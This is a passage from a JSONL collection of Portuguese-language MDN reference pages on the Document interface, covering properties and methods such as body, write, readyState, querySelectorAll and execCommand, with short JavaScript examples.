to view data.\n\nEspecificação\n-------------\n\n* Selectors API\nVeja também\n-----------\n\n* `document.querySelectorAll()`\n* `element.querySelector()`\n* `element.querySelectorAll()`\n* Code snippets for querySelector"}
{"title":"Document.body - APIs da Web","text":"Document.body\n=============\n\nRetorna o elemento `<body>` ou o `<frameset>` (en-US) do documento atual, ou `null` se nenhum destes elementos existir.\n\nSintaxe\n-------\n```\n\nvar objRef = document.body;\ndocument.body = objRef;\n```\n\nExemplo\n-------\n\n\n```js\n// No HTML: <body id=\"oldBodyElement\"></body>\nalert(document.body.id); // \"oldBodyElement\"\n\nvar aNewBodyElement = document.createElement(\"body\");\n\naNewBodyElement.id = \"newBodyElement\";\ndocument.body = aNewBodyElement;\nalert(document.body.id); // \"newBodyElement\"\n```\n\nNotas\n-----\n\n`document.body` é o elemento que envolve o conteúdo do documento. Em documentos com conteúdo no `<body>`, retorna o elemento `<body>`, e em documentos que usam frameset, retorna o elemento `<frameset>` mais periférico.\n\nApesar do `body` ser configurável, definir um novo `body` em um documento irá remover todos os elementos contidos no elemento `<body>` existente.\n\nEspecificação\n-------------\n\n* DOM Level 2 HTML: HTMLDocument.body\n* HTML5: DOM Tree Accessors\nVeja Também\n-----------\n\n* `document.head`"}
{"title":"Document.write() - APIs da Web","text":"Document.write()\n================\n\nO método **`Document.write()`** grava uma sequência de caracteres em um documento aberto por `document.open()` (en-US).\n\n**Nota:** à medida que `document.write` grava no **fluxo** de documentos, chamando `document.write` em um documento fechado (carregado) invoca automaticamente `document.open`, que limpará o documento (en-US).\n\nSintaxe\n-------\n\n\n```js\ndocument.write(markup);\n```\n\n### Parametros\n\n*markup*\n\nUma string contendo o texto a ser gravado no documento.\n\n### Exemplo\n\n\n```html\n<html>\n  <head>\n    <title>Escreva exemplo</title>\n\n    <script>\n function newContent() {\n document.open();\n document.write(\"<h1>Sair com o velho - entrar com o novo!</h1>\");\n document.close();\n }\n </script>\n  </head>\n\n  <body onload=\"newContent();\">\n    <p>Algum conteúdo do documento original.</p>\n  </body>\n</html>\n```\n\nNotas\n-----\n\nEscrevendo em um documento que já foi carregado sem chamar `document.open()` (en-US) automaticamente vai chamar `document.open`. Ao términno da escrita, é recomendável chamar `document.close()` para dizer ao navegador para encerrar o carregamento da página. O texto que você escreve é analisado no modelo de estrutura do documento. No exemplo acima, o elemento `h1` se torna um nó (node) no documento.\n\nSe chamar `document.write()` incorporada em uma tag HTML `<script>` embutida, então `document.open()` não será chamada. Por exemplo:\n\n\n```html\n<script>\n document.write(\"<h1>Título principal</h1>\");\n</script>\n```\n\n\n**Nota:** `document.write` e `document.writeln` não funcionam em documentos XHTML (você receberá o erro \"Operation is not supported\" [`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] no console de erros). Isso acontece ao abrir um arquivo local com a extensão .xhtml ou em qualquer documento exibido com um MIME type `application/xhtml+xml` MIME type (en-US). Mais informações disponíveis em W3C XHTML FAQ.\n\n**Nota:** `document.write` em deferred ou asynchronous scripts será ignorado, e você receberá uma mensagem como \"A call to `document.write()` from an asynchronously-loaded external script was ignored\" no console de erros.\n\n**Nota:** Somente no Edge, chamando `document.write` mais de uma vez em `<iframe>` causa o erro \"SCRIPT70: Permission denied\".\n\n**Nota:** A partir de 55, Chrome não executará elementos `<script>` injetados via `document.write()` caso haja falta de cache HTTP para usuários em uma conexão 2G. Há uma lista de condições que precisam ser atendidas para que isso seja verdade.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-write-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `element.innerHTML`\n* `document.createElement()`"}
{"title":"Document.importNode() - APIs da Web","text":"Document.importNode()\n=====================\n\nCria uma cópia de um nó a partir de um documento externo para ser inserido no document atual.\n\nSintaxe\n-------\n```\n\nvar node = document.importNode(externalNode, deep);\n```\n\n\n`node`\n\n`O novo nó que será importado no documento. A propriedade parentNode do novo nó é null, desde que ele não foi inserido na árvores do documento.`\n\n`externalNode`\n\n`O nó de outro documento para ser importado.`\n\n`deep`\n\n`Um boolean, indicando se os nós filhos, do nó a ser importado, devem ser importados também.`\n\n\n**Nota:** In the DOM4 specification (as implemented in Gecko 13.0), `deep` is an optional argument. If omitted, the method acts as if the value of `deep` was **`true`**, defaulting to using deep cloning as the default behavior. To create a shallow clone, `deep` must be set to `false`.\n\nThis behavior has been changed in the latest spec, and if omitted, the method will act as if the value of `deep` was **`false`**. Though It's still optional, you should always provide the `deep` argument both for backward and forward compatibility. With Gecko 28.0, the console warned developers not to omit the argument. Starting with Gecko 29.0), a shallow clone is defaulted instead of a deep clone.\n\nExemplo\n-------\n\n\n```js\nvar iframe = document.getElementsByTagName(\"iframe\")[0];\nvar oldNode = iframe.contentWindow.document.getElementById(\"myNode\");\nvar newNode = document.importNode(oldNode, true);\ndocument.getElementById(\"container\").appendChild(newNode);\n```\n\nNotas\n-----\n\nO nó original não é removido do documento de origem. O nó importado é um clone do original.\n\nNodes from external documents should be cloned using `document.importNode()` (or adopted using `document.adoptNode()` (en-US)) before they can be inserted into the current document. For more on the `Node.ownerDocument` (en-US) issues, see the W3C DOM FAQ.\n\nFirefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-importnode① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `document.adoptNode()` (en-US)"}
{"title":"Document.doctype - APIs da Web","text":"Document.doctype\n================\n\nRetorna a declaração do tipo de documento(Document Type Declaration (DTD)) associado ao documento atual. O objeto retornado implementa a interface `DocumentType` (en-US). Use `DOMImplementation.createDocumentType()` (en-US) para criar um `DocumentType`.\n\nSintaxe\n-------\n```\n\ndoctype = document.doctype;\n```\n\n\n* `doctype` é uma proriedade somente de leitura.\nExemplo\n-------\n\n\n```js\nvar doctypeObj = document.doctype;\n\nconsole.log(\n  \"doctypeObj.name: \" +\n    doctypeObj.name +\n    \"\\n\" +\n    \"doctypeObj.internalSubset: \" +\n    doctypeObj.internalSubset +\n    \"\\n\" +\n    \"doctypeObj.publicId: \" +\n    doctypeObj.publicId +\n    \"\\n\" +\n    \"doctypeObj.systemId: \" +\n    doctypeObj.systemId,\n);\n```\n\nNotas\n-----\n\nA propriedade retornará `null` se não houvernehum DTD associado ao documento atual.\n\nO nível 2 do DOM não suporta a edição da declaração do tipo de documento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-doctype① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.defaultView - APIs da Web","text":"Document.defaultView\n====================\n\nSumário\n-------\n\nEm navegadores, retorna o objeto window (en-US) associado ao documento ou `null` se não houver.\n\nSintaxe\n-------\n```\n\nvar win = document.defaultView;\n```\n\n\nEsta propriedade é de somente-leitura.\n\nNotas\n-----\n\nDe acordo com o quirksmode, `defaultView` não é suportado no IE até o IE 9.\n\nEspecificação\n-------------\n\n* HTML5: defaultView\n* DOM Level 2 Views: defaultView\n* DOM Level 3 Views (Apenas desenvolvido para o Working Group Note e não implementado)"}
{"title":"Document.fullscreen - APIs da Web","text":"Document.fullscreen\n===================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nA propriedade de somente leitura da interface **`fullscreen`** retorna se o documento correspondente está mostrando conteúdo em modo de tela cheia (full-screen).\n\nApesar dessa propriedade ser de somente leitura, ela não será executa se for modificada (mesmo em modo estrito); o setter não é um operador e não será modificado.\n\n**Nota:** Desde que esta propriedade foi descontinuada, você pode determinar se o modo full-screen está ativo no documento checando se `Document.fullscreenElement` (en-US) não é `null`.\n\nSíntaxe\n-------\n```\n\nvar isFullScreen = document.fullscreen;\n```\n\n### Valor\n\nUm valor booleano é `true` se o documento está mostrando um elemento no modo full-screen; se não, o valor é `false`.\n\nExemplo\n-------\n\nEsta simples função retorna se o modo full-sreen está ativo, usando a obsoleta propriedade **`fullscreen`**.\n\n\n```js\nfunction isDocumentInFullScreenMode() {\n  return document.fullscreen;\n}\n```\n\n\nNeste próximo exemplo, de outra maneira, usa a propriedade atual `fullscreenElement` para determinar a mesma coisa:\n\n\n```js\nfunction isDocumentInFullScreenMode() {\n  return document.fullscreenElement !== null;\n}\n```\n\n\nSe `fullscreenElement` não é `null`, retorna `true`, indicando se modo full-screen está sendo usado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fullscreen API Standard # dom-document-fullscreen |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Fullscreen API (en-US)\n* Guide to the Fullscreen API (en-US)\n* `Document.fullscreenEnabled` (en-US)"}
{"title":"Document() - APIs da Web","text":"Document()\n==========\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nO construtor **`Document`** cria um novo objeto `Document`, o qual trata de uma página carregada no navegador servindo como porta de entrada para o conteúdo da página.\n\nSintaxe\n-------\n```\n\nvar document = new Document()\n```\n\n### Parâmetros\n\nNenhum.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-document① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.readyState - APIs da Web","text":"Document.readyState\n===================\n\nSumário\n-------\n\nRetorna \"*loading*\" enquanto `document` está carregando, \"*interactive*\" quando foi carregado porém seus sub-recursos (como imagens, por exemplo) ainda não, e \"*complete*\" quando foi totalmente carregado.\n\nO evento `readystatechange` é acionado no objeto `document` quando esse valor é alterado.\n\nSintaxe\n-------\n```\n\nvar string = document.readyState;\n```\n\n### Valores\n\nO `readyState` de um documento pode ser um dos seguintes:\n\n`loading`\n\nO `document` ainda está carregando.\n\n`interactive`\n\nO documento terminou de ser carregado e o documento foi analisado, mas sub-recursos, como imagens, folhas de estilo e quadros, ainda estão sendo carregados.\n\n`complete`\n\nO documento e todos os sub-recursos terminaram de carregar. O estado indica que o `load (en-US)` evento está prestes a disparar.\n\nExemplos\n--------\n\n### Diferentes estados de readyState\n```\n\nswitch (document.readyState) {\n  case \"loading\":\n    // O documento esta carregando\n    break;\n  case \"interactive\":\n    // O documento acabou de carregar. Nós podemos acessar os elementos do DOM.\n    // mas sub-recursos, como imagens, folhas de estilo e quadros, ainda estão sendo carregados.\n    var span = document.createElement(\"span\");\n    span.textContent = \"A <span> element.\";\n    document.body.appendChild(span);\n    break;\n  case \"complete\":\n    // A pagina carregou por completo.\n    console.log(\"The first CSS rule is: \" + document.styleSheets[0].cssRules[0].cssText);\n    break;\n}\n```\n\n### readystatechange como uma alternativa para DOMContentLoaded evento\n```\n\n// alternativa para DOMContentLoaded evento\ndocument.onreadystatechange = function () {\n  if (document.readyState === 'interactive') {\n    initApplication();\n  }\n}\n```\n\n### readystatechange como uma alternativa para load evento\n```\n\n// ternativa para load evento\ndocument.onreadystatechange = function () {\n  if (document.readyState === 'complete') {\n    initApplication();\n  }\n}\n```\n\n### readystatechange como ouvinte de evento para inserir ou modificar o DOM antes de DOMContentLoaded\n```\n\ndocument.addEventListener('readystatechange', event => {\n  if (event.target.readyState === 'interactive') {\n    initLoader();\n  }\n  else if (event.target.readyState === 'complete') {\n    initApp();\n  }\n});\n```\n\nEspecificação\n-------------\n\n* http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current-document-readiness\nVeja também\n-----------\n\n* document.onreadystatechange"}
{"title":"Document.anchors - APIs da Web","text":"Document.anchors\n================\n\n**HTML5:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\n`anchors` retorna uma lista de todas as âncoras no documento.\n\nSintaxe\n-------\n```\n\nnodeList = document.anchors;\n```\n\nExemplo\n-------\n\n\n```js\nif (document.anchors.length >= 5) {\n  dump(\"dump found too many anchors\");\n  window.location = \"http://www.google.com\";\n}\n```\n\n\nO código a seguir é um exemplo que popula automaticamente um índice de conteúdo com cada âncora encontrada na página:\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>Test</title>\n    <script>\n function init() {\n var toc = document.getElementById(\"toc\");\n var i, li, newAnchor;\n for (i = 0; i < document.anchors.length; i++) {\n li = document.createElement(\"li\");\n newAnchor = document.createElement(\"a\");\n newAnchor.href = \"#\" + document.anchors[i].name;\n newAnchor.innerHTML = document.anchors[i].text;\n li.appendChild(newAnchor);\n toc.appendChild(li);\n }\n }\n </script>\n  </head>\n  <body onload=\"init()\">\n    <h1>Title</h1>\n    <h2><a name=\"contents\">Contents</a></h2>\n    <ul id=\"toc\"></ul>\n\n    <h2><a name=\"plants\">Plants</a></h2>\n    <ol>\n      <li>Apples</li>\n      <li>Oranges</li>\n      <li>Pears</li>\n    </ol>\n\n    <h2><a name=\"veggies\">Veggies</a></h2>\n    <ol>\n      <li>Carrots</li>\n      <li>Celery</li>\n      <li>Beats</li>\n    </ol>\n  </body>\n</html>\n```\n\n\nView on JSFiddle\n\nNotas\n-----\n\nPor motivos de compatibilidade, o conjunto de âncoras retornadas por `anchors` contém apenas as âncoras criadas com o atributo `name`, não incluindo as âncoras criadas com o atributo `id`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-anchors |"}
{"title":"Document.querySelectorAll() - APIs da Web","text":"Document.querySelectorAll()\n===========================\n\nIntrodução\n----------\n\nRetorna uma lista de elementos presentes no documento (usando ordenação em profundidade, pré-ordenada e transversal dos nós do documento) que coincidam com o grupo de seletores especificado. O objeto retornado é uma `NodeList`.\n\nSintaxe\n-------\n```\n\nelementList = document.querySelectorAll(selectors);\n```\n\n\nonde\n\n* `elementList` é uma `NodeList` não-viva (alterações no DOM não refletem na lista) de objetos `Element`.\n* `selectors` é uma *string* contendo um ou mais seletores CSS separados por vírgulas.\n\nA NodeList retornada irá conter todos os elementos do documento que coincidam com os seletores especificados. Se a string `selectors` conter um CSS `PseudoElements`, o retorno será uma NodeList vazia.\n\nExemplo\n-------\n\nEsse exemplo retorna uma lista de todos os elementos `div` presentes no `document` que contenham as classes \"`note`\" ou \"`alert`\":\n\n\n```js\nvar matches = document.querySelectorAll(\"div.note, div.alert\");\n```\n\nNotas\n-----\n\nRetorna uma `NodeList` não-viva (alterações no DOM não refletem na lista) de todos os elementos que coincidam com os seletores informados.\n\nLança uma exceção `SYNTAX_ERR` se o grupo especificado de seletores for inválido.\n\n`querySelectorAll()` foi introduzida na WebApps API.\n\nNavegadores baseados em *WebKit* têm um *bug*: quando a string `seletores` contém um pseudo-elemento CSS (en-US), a `NodeList` retornada não esta vazia, neste caso ela contém o elemento `<html>`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEspecificação\n-------------\n\n* API Selectors\nVeja também\n-----------\n\n* `Element.querySelectorAll`\n* `Document.querySelector`\n* `Element.querySelector`\n* `Exemplos de código com querySelector`"}
{"title":"Document.getSelection() - APIs da Web","text":"Document.getSelection()\n=======================\n\nEsse método funciona de forma idêntica ao método `Window.getSelection()`; Ele retorna um objeto `Selection` representando o texto atualmente selecionado no documento."}
{"title":"NodeFilter - APIs da Web","text":"NodeFilter\n==========\n\nUma interface **`NodeFilter`** representa um objeto usado para filtrar os nós (elementos), em uma iteração `NodeIterator` (en-US) ou `TreeWalker` (en-US). Essas interfaces não conhecem nada sobre o DOM ou sobre como percorrer ou atravessar, elementos; elas apenas sabem como avaliar se um único nó atende aos requisitos do filtro fornecido ou não.\n\n**Nota:** O navegador não fornece nenhum objeto que implemente essa interface. É esperado que o desenvolvedor escreva tal objeto, utilizando o método `acceptNode()` conforme as suas necessidades, podendo mesclar com objetos do tipo `TreeWalker` (en-US) ou `NodeIterator` (en-US) em sua implementação..\n\nProperties\n----------\n\n*Essa interface não implementa, nem herda, nenhuma propriedade.*\n\nMethods\n-------\n\n*Essa interface não herda nenhum método.*\n\n`NodeFilter.acceptNode()` (en-US)\n\nReturns an `unsigned short` that will be used to tell if a given `Node` must be accepted or not by the `NodeIterator` (en-US) or `TreeWalker` (en-US) iteration algorithm. This method is expected to be written by the user of a `NodeFilter`. Possible return values are:\n\n| Constant | Description |\n| --- | --- |\n| `FILTER_ACCEPT` | Value returned by the `NodeFilter.acceptNode()` (en-US) method when a node should be accepted. |\n| `FILTER_REJECT` | Value to be returned by the `NodeFilter.acceptNode()` (en-US) method when a node should be rejected. For `TreeWalker` (en-US), child nodes are also rejected. For `NodeIterator` (en-US), this flag is synonymous with FILTER\\_SKIP. |\n| `FILTER_SKIP` | Value to be returned by `NodeFilter.acceptNode()` (en-US) for nodes to be skipped by the `NodeIterator` (en-US) or `TreeWalker` (en-US) object. The children of skipped nodes are still considered. This is treated as \"skip this node but not its children\". |\n\nExample\n-------\n\n\n```js\nvar nodeIterator = document.createNodeIterator(\n  // Node to use as root\n  document.getElementById(\"someId\"),\n\n  // Only consider nodes that are text nodes (nodeType 3)\n  NodeFilter.SHOW\\_TEXT,\n\n  // Object containing the function to use for the acceptNode method\n  // of the NodeFilter\n  {\n    acceptNode: function (node) {\n      // Logic to determine whether to accept, reject or skip node\n      // In this case, only accept nodes that have content\n      // other than whitespace\n      if (!/^\\s\\*$/.test(node.data)) {\n        return NodeFilter.FILTER\\_ACCEPT;\n      }\n    },\n  },\n  false,\n);\n\n// Show the content of every non-empty text node that is a child of root\nvar node;\n\nwhile ((node = nodeIterator.nextNode())) {\n  alert(node.data);\n}\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-document-createnodeiterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Related interfaces: `TreeWalker` (en-US), `NodeIterator` (en-US)."}
{"title":"Document.location - APIs da Web","text":"Document.location\n=================\n\nA propriedade, de apenas leitura, **`Document.location`** retorna um objeto `Location`, que contém informações sobre a URL do documento e provém métodos para mudar a URL e carregar outra URL.\n\nEmbora `Document.location` seja um objeto `Location de apenas leitura`, você pode atribuir um `DOMString` para ele. Isso significa que você pode trabalhar com document.location, na maioria dos casos, como se fosse uma string: `document.location = 'http://www.example.com'` é um sinônimo de `document.location.href = 'http://www.example.com'`.\n\nPara recuperar somente a URL como uma string, a propriedade de apenas leitura `document.URL` pode ser utilizada.\n\nSe o documento atual não estiver no contexto de navegação, o valor retornado será `null`.\n\nSintaxe\n-------\n```\n\nlocationObj = document.location\ndocument.location = 'http://www.mozilla.org' // Equivalente a document.location.href = 'http://www.mozilla.org'\n```\n\nExemplo\n-------\n\n\n```js\ndump(document.location);\n// Imprime uma string como\n// \"http://www.example.com/juicybits.html\" to the console\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-location-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O valor da interface de retorno, `Location`.\n* Uma informação similar, mas anexada ao browsing context (en-US), `Window.location`."}
{"title":"Document.writeln() - APIs da Web","text":"Document.writeln()\n==================\n\nGrava uma seqüência de texto, seguido por um caractere de nova linha a um documento.\n\nSintaxes\n--------\n```\n\ndocument.writeln(line);\n```\n\n### Parâmetros\n\n* `line`é uma string contendo uma linha de texto.\nExemplo\n-------\n```\n\ndocument.writeln(\"<p>enter password:</p>\");\n```\n\nNotas\n-----\n\n**document.writeln** é o mesmo que document.write mas acrescenta uma nova linha.\n\n**Nota:** **document.writeln** (like **document.write**) does not work in XHTML documents (you'll get a \"Operation is not supported\" (`NS_ERROR_DOM_NOT_SUPPORTED_ERR`) error on the error console). This is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml MIME type. More information is available in the W3C XHTML FAQ.\n\nEspecificação\n-------------\n\nwriteln"}
{"title":"Document.execCommand() - APIs da Web","text":"Document.execCommand()\n======================\n\nQuando um documento HTML está em `designMode`, seu objeto `document` expõe um metodo **`execCommand`** para editar a região editável corrente, algo como elementos form inputs ou `contentEditable`.\n\nA maioria dos comandos afetam apenas uma área selecionada [seleção] (negrito, itálico, etc.), enquantos outros adicionam novos elementos (adicionar um link por exemplo), ou afetam uma linha toda (identação). Quando usando `contentEditable`, o metódo `execCommand()` afeta o elemento editável ativo.\n\nSíntaxe\n-------\n```\n\ndocument.execCommand(aCommandName, aShowDefaultUI, aValueArgument)\n```\n\n### Valor de Retorno\n\nUm `Boolean` que tem valor `false` se o comando não é válido ou está desabilitado.\n\n**Nota:** Retorna `true` se for parte da interação do usuário. Não tente utilizar o retorno para verificar o suporte do browser antes de chamar o comando.\n\n### Parâmetros\n\n`aCommandName`\n\nUma `DOMString` especificando o nome do comando a ser executado. Veja Comandos para um lista dos possíveis comandos.\n\n`aShowDefaultUI`\n\nUm `Boolean` indicando se a interface padrão do usuário deve ser mostrada. Isso não é implementado no Mozilla.\n\n`aValueArgument`\n\nPara comandos que requerem um argumento de entrada. É uma `DOMString` provendo a informação. Por exemplo, `insertImage` requer uma URL da imagem a ser inserida. Use `null` se nenhum argumento é necessário.\n\n### Comandos\n\n`backColor`\n\nMuda a cor de fundo do documento. No modo `styleWithCss`, ele afeta a cor de fundo do bloco que contém. Isso requer um valor de `<color>` passado como argumento. Observe que o Internet Explorer usa isso para definir a cor do plano de fundo do **texto**.\n\n`bold`\n\nAtiva / desativa negrito na seleção ou no ponto de inserção. O Internet Explorer usa a tag `<strong>` no lugar de `<b>`.\n\n`ClearAuthenticationCache`\n\nLimpa todas as credenciais de autenticação do cache.\n\n`contentReadOnly`\n\nTorna o documento de conteúdo somente leitura ou editável. Isso requer um valor booleano `true` / `false` como argumento. (Não é suportado pelo Internet Explorer.)\n\n`copy`\n\nCopia a seleção atual para a área de transferência. As condições para ativar esse comportamento variam de um navegador para outro e evoluíram com o tempo. Verifique a Tabela de Compatibilidade entre Browsers para determinar se você pode usar no seu caso.\n\n`createLink`\n\nCria um hiperlink a partir da seleção, mas apenas se houver uma seleção. Requer uma string URI como argumento para o `href` do link. O URI deve conter pelo menos um único caractere, que pode ser um espaço em branco. (O Internet Explorer criará um link com um valor nulo.)\n\n`cut`\n\nRemove a seleção atual e a copia para a área de transferência. Quando esse comportamento é ativado, varia entre os navegadores e suas condições evoluíram com o tempo. Verifique a Tabela de Compatibilidade entre Browsers para mais detalhes.\n\n`decreaseFontSize`\n\nAdiciona a tag `<small>` (en-US) ao redor da seleção ou no ponto de inserção. (Não é suportado pelo Internet Explorer.)\n\n`defaultParagraphSeparator`\n\nAltera o separador de parágrafos usado quando novos parágrafos são criados em regiões de texto editáveis. Veja Diferenças na geração de marcação para mais detalhes.\n\n`delete`\n\nExclui o conteúdo da seleção atual.\n\n`enableAbsolutePositionEditor`\n\nHabilita ou desabilita a garra que permite mover elementos absolutamente posicionados. Está desabilitado por padrão no Firefox 63 Beta / Dev Edition (Erro do Firefox 1449564)\n\n`enableInlineTableEditing`\n\nAtiva ou desativa os controles de inserção e exclusão de linhas / colunas da tabela. Está desabilitado por padrão no Firefox 63 Beta / Dev Edition (Erro do Firefox 1449564).\n\n`enableObjectResizing`\n\nAtiva ou desativa as alças de redimensionamento em imagens, tabelas e elementos absolutamente posicionados e outros objetos redimensionáveis. Está desabilitado por padrão no Firefox 63 Beta / Dev Edition (Erro do Firefox 1449564).\n\n`fontName`\n\nAltera o nome da fonte para a seleção ou no ponto de inserção. Isso requer uma string com o nome da fonte (como `\"Arial\"`) como argumento.\n\n`fontSize`\n\nAltera o tamanho da fonte para a seleção ou no ponto de inserção. Isso requer um número inteiro de `1`-`7` como argumento.\n\n`foreColor`\n\nAltera a cor da fonte para a seleção ou no ponto de inserção. Isso requer uma string de cor (hexadecimal) como argumento.\n\n`formatBlock`\n\nAdiciona um elemento de nível de bloco HTML ao redor da linha que contém a seleção atual, substituindo o elemento de bloco que contém a linha, se houver (no Firefox, `<blockquote>` é a exceção - envolverá qualquer elemento de bloco que contenha). Requer uma sequência de nome de tag como argumento de valor. Praticamente todos os elementos em nível de bloco podem ser usados. (Internet Explorer e Edge suportam apenas tags de cabeçalho `H1`–`H6`, `ADDRESS`, e `PRE`, que devem estar entre colchetes angulares, como `\"<H1>\"`.)\n\n`forwardDelete`\n\nExclui o caractere depois da posição do cursor, idêntico a pressionar a tecla Delete em um teclado do Windows.\n\n`heading`\n\nAdiciona um elemento de cabeçalho ao redor de uma linha de seleção ou ponto de inserção. Requer uma string com o nome da tag como argumento (ex. `\"H1\"`, `\"H6\"`). (Não suportado pelo Internet Explorer e Safari.)\n\n`hiliteColor`\n\nAltera a cor do plano de fundo para a seleção ou no ponto de inserção. Requer uma sequência de valores de cores como argumento. `useCSS` tem de ser `true` para essa função. (Não é suportado pelo Internet Explorer.)\n\n`increaseFontSize`\n\nAdiciona uma tag `<big>` ao redor da seleção ou no ponto de inserção. (Não é suportado pelo Internet Explorer.)\n\n`indent`\n\nRecua a linha que contém o ponto de seleção ou inserção. No Firefox, se a seleção abranger várias linhas em diferentes níveis de recuo, apenas as linhas menos recuadas na seleção serão recuadas.\n\n`insertBrOnReturn`\n\nControla se a tecla Enter insere um elemento `<br>`, ou divide o elemento do bloco atual em dois. (Não é suportado pelo Internet Explorer.)\n\n`insertHorizontalRule`\n\nInsere um elemento `<hr>` no ponto de inserção ou substitui a seleção por ele.\n\n`insertHTML`\n\nInsere uma string HTML no ponto de inserção (exclui a seleção). Requer uma string HTML válida como argumento. (Não é suportado pelo Internet Explorer.)\n\n`insertImage`\n\nInsere uma imagem no ponto de inserção (exclui a seleção). Requer uma string de URL para o `src` da imagem como argumento. Os requisitos para essa string são os mesmos que `createLink`.\n\n`insertOrderedList`\n\nCria uma lista ordenada e numerada para a seleção ou no ponto de inserção.\n\n`insertUnorderedList`\n\nCria uma lista não ordenada para a seleção ou no ponto de inserção.\n\n`insertParagraph`\n\nInsere um parágrafo ao redor da seleção ou da linha atual. (O Internet Explorer insere um parágrafo no ponto de inserção e exclui a seleção.)\n\n`insertText`\n\nInsere o texto fornecido no ponto de inserção (exclui a seleção).\n\n`italic`\n\nAtiva / desativa o itálico para a seleção ou no ponto de inserção. (O Internet Explorer usa o elemento `<em>` no lugar de `<i>`.)\n\n`justifyCenter`\n\nCentraliza o ponto de seleção ou inserção.\n\n`justifyFull`\n\nJustifica o ponto de seleção ou inserção.\n\n`justifyLeft`\n\nJustifica o ponto de seleção ou inserção à esquerda.\n\n`justifyRight`\n\nJustifica à direita a seleção ou o ponto de inserção.\n\n`outdent`\n\nSupera a linha que contém o ponto de seleção ou inserção.\n\n`paste`\n\nCola o conteúdo da área de transferência no ponto de inserção (substitui a seleção atual). Desativado para conteúdo da web. Veja [1].\n\n`redo`\n\nRefaz o comando desfazer anterior.\n\n`removeFormat`\n\nRemove toda a formatação da seleção atual.\n\n`selectAll`\n\nSeleciona todo o conteúdo da região editável.\n\n`strikeThrough`\n\nAtiva / desativa o strikethrough(linha riscada) para a seleção ou no ponto de inserção.\n\n`subscript`\n\nAtiva / desativa o subscrito (en-US) para a seleção ou no ponto de inserção.\n\n`superscript`\n\nAtiva / desativa o superscript (en-US) para a seleção ou no ponto de inserção.\n\n`underline`\n\nAtiva / desativa o underline (en-US) para a seleção ou no ponto de inserção.\n\n`undo`\n\nDesfaz o último comando executado.\n\n`unlink`\n\nRemove o elemento âncora de um hiperlink selecionado.\n\n`useCSS` \nDeprecated\n\nAlterna o uso de tags HTML ou CSS para a marcação gerada. Requer um booleano `true` / `false` como argumento.\n\nNOTA: Este argumento é logicamente reverso (ou seja, use `false` para usar CSS, `true` para usar HTML) e não é suportado pelo Internet Explorer. Isso foi preterido em favor do `styleWithCSS`.\n\n`styleWithCSS`\n\nSubstitui o comando `useCSS`. `true` modifica / gera atributos de `style` na marcação, `false` gera elementos de apresentação(html).\n\nExemplo\n-------\n\nUm exemplo de como usar a funcionalidade no CodePen.\n\nEspecificações\n--------------\n\n| Especificação | Estado | Comentário |\n| --- | --- | --- |\n| execCommand |  |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.contentEditable`\n* `document.designMode`\n* Edição de Rich-Text com Mozilla\n* Scribe: documentação sobre inconsitencias entre browsers com bugs relacionados a `document.execCommand`."}
